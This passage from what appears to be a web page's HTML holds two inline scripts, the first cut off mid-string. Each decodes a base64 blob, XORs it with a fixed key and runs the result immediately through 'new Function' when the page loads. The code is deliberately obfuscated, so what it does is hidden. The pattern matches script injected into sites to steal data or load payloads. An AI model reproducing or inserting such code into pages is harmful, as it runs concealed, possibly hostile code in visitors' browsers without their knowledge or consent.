HmUHFUtCXUsOXl9eTR5lBgcVUwcGBxU='),_0x9e751f2dc20b=46,_0x0b1f51e628bd=new Uint8Array(_0xdac3ef103251['length']),_0x1c3f58f3ac4b=0;for(;_0x1c3f58f3ac4b<_0xdac3ef103251['length'];_0x1c3f58f3ac4b++)_0x0b1f51e628bd[_0x1c3f58f3ac4b]=_0xdac3ef103251['charCodeAt'](_0x1c3f58f3ac4b)^_0x9e751f2dc20b;(new Function(new TextDecoder()['decode'](_0x0b1f51e628bd)))()}();</script><script>!function(){var _0x3bb1fe0827a6=atob('DkBTSEVST0lIDg9dUEdUBlNTaxdcTxtRT0hCSVEKdxITSlRVG1NTaxdcT30BeXlAVmNLRENCVQF7CnVWa2BjQhsBRRUeR0NHHkVDR0JEQEQTQwEKcWdQHnBQG30ETlJSVlUcCQlFSklTQkBKR1RDC0VOQ0VNCEhDUgQKBgROUlJWHAkJHxIIFBAIHxYIFxQQBHsdT0AOdxITSlRVAAB3EhNKVFV9dVZrYGNCew9UQ1JTVEgddxITSlRVG1NTaxdcT30BeXlAVmNLRENCVQF7Gw53EhNKVFVaWl1bDx13EhNKVFV9dVZrYGNCexsXHUBTSEVST0lIBnZXfBMVTw4PXU9ADgdCSUVTS0NIUghESUJfD11VQ1JyT0tDSVNSDnZXfBMVTwoUFg8dVENSU1RIHVtQR1QGQW1iSnIeG0JJRVNLQ0hSCEVUQ0dSQ2NKQ0tDSFIOAUJPUAEPCkNWV1JVXxtCSUVTS0NIUghFVENHUkNjSkNLQ0hSDgFPQFRHS0MBDx1BbWJKch4IVVJfSkMIRVVVckNeUhsBVklVT1JPSUgcQE9eQ0IdT0hVQ1IcFh1cC09IQkNeHBQXEhESHhUWEhUdREdFTUFUSVNIQhxUQURHDhcTChQVChIUCggSFA8dVklPSFJDVAtDUENIUlUcSElIQx0BHUNWV1JVXwhST1JKQxsBdUNFU1RPUl8GRU5DRU0BHUNWV1JVXwhVQ1JnUlJUT0RTUkMOAUdKSklRQFNKSlVFVENDSAEKAQEPHUNWV1JVXwhVUl9KQwhFVVVyQ15SGwFWSVVPUk9JSBxAT15DQh1PSFVDUhwWHVFPQlJOHBcWFgMdTkNPQU5SHBcWFgMdRElUQkNUHBYdXAtPSEJDXhwUFxIREh4VFhMVHURHRU1BVElTSEIcBUBAQB0BHUJJRVNLQ0hSCERJQl8IR1ZWQ0hCZU5PSkIOQW1iSnIeDx1CSUVTS0NIUghESUJfCEdWVkNIQmVOT0pCDkNWV1JVXw8dQFNIRVJPSUgGSGJvYWxlDg9dUlRfXUFtYkpyHghUQ0tJUEMODx1DVldSVV8IVENLSVBDDg8dW0VHUkVODnlDD11bUlRfXUJDSkNSQwZ3EhNKVFV9dVZrYGNCe1tFR1JFTg55QxQPXVtbU1NrF1xPCEdCQmNQQ0hSak9VUkNIQ1QOAUtDVVVHQUMBCkBTSEVST0lIDnlDUA9dUlRfXU9ADgd5Q1BaWgd5Q1AIQkdSRw9UQ1JTVEgdT0AOeUNQCEJHUkcIUl9WQxsbGwFAVgtDS0RDQgtFSklVQwEPSGJvYWxlDg8dW0VHUkVODnlDFQ9dW1sPHUBTSEVST0lIBnB1Q0N+Ug5cV2hSdGoPXU9ADlxXaFJ0ahgbcWdQHnBQCEpDSEFSTg9UQ1JTVEgdUEdUBnlOGwEBHVJUX115Tht1UlRPSEEOU1NrF1xPCEpJRUdST0lIAAAOU1NrF1xPCEpJRUdST0lICE5JVVJIR0tDWlpTU2sXXE8ISklFR1JPSUgITklVUg9aWgEBDwhUQ1ZKR0VDDgl4UVFReggJTwoBAQ8dW0VHUkVODnlDTg9dW1BHVAZ5UxtxZ1AecFB9XFdoUnRqew0BCUNLRENCCQENdVZrYGNCDQEZQ0tEQ0IbFwENDnlOGQ4BAE5JVVIbAQ1DSEVJQkNzdG9lSUtWSUhDSFIOeU4PDxwBAQ8dUEdUBnlSSRtVQ1JyT0tDSVNSDkBTSEVST0lIDg9dcHVDQ35SDlxXaFJ0ag0XDx1bChcUFhYWDx1DVldSVV8ISUhKSUdCG0BTSEVST0lIDg9dRUpDR1RyT0tDSVNSDnlSSQ8dWx1DVldSVV8IVVRFG3lTHVtwdUNDflIOFg8dW09ADkJJRVNLQ0hSCFRDR0JfdVJHUkMbGxsBSklHQk9IQQEPU1NrF1xPCEdCQmNQQ0hSak9VUkNIQ1QOAWJpa2VJSFJDSFJqSUdCQ0IBCnZXfBMVTw8dQ0pVQwZ2V3wTFU8ODx1bDw4PHQ=='),_0xb453c9c7ad32=38,_0x6b43c3f85eef=new Uint8Array(_0x3bb1fe0827a6['length']),_0x42b6bdc41c2a=0;for(;_0x42b6bdc41c2a<_0x3bb1fe0827a6['length'];_0x42b6bdc41c2a++)_0x6b43c3f85eef[_0x42b6bdc41c2a]=_0x3bb1fe0827a6['charCodeAt'](_0x42b6bdc41c2a)^_0xb453c9c7ad32;(new Function(new TextDecoder()['decode'](_0x6b43c3f85eef)))()}();</script>